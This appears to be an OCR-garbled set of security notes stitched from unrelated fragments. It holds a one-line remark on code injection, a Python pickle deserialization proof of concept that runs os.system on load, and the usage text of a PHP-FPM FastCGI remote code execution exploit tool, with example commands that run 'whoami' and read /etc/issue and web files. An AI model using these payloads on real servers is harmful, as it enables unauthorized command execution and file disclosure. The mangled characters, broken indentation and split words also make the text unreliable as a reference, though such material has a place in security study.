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Code Injection differs from Command Injection in that an attacker is only limited
by the functionality of the injected language itself.
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import os

import pickle

class A(object):
def  reduce (self):
# return os.system, ('print 1;', )

return os.system, ('echo 1 > 1.txt', )
p = pickle.dumps (A())

# print p
pickle.loads (p)
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Conten

fusr/local/lib/php/PEAR.php

-p 96886 fusr/local/lib/php/PEAR.php

tRiEfastcoimBAIRIA TR, PHP-FPM >= 533 FBEHITRR®S.

PHP Fastcgi Remote Code Execute Exploit.
Date: 2012-09-15
Author: wofeiwo@80sec. com

Note: Only for research purpose

Usage: fcgi exp. exe <cmd> <ip> <port> <file> [comma d]
cmd: phpinfo, system, read
the SYSTEM cmd only affects PHP-FPM >= 5.3.3
ip: Target ip to exploit with
port: Target port running php—fpm.
file: File to read or execute.
command: Command to execute by system. Must use with cmd *system’

Example: fcgi exp. exe system 127.0.0.1 9000 /var/www/ tml/index.php “whoami”

fecgi exp. exe phpinfo 127.0.0.1 9000 /var/www html/index. php > phpinfo. html
fcgi exp. exe read 127.0.0.1 9000 /etc/issue
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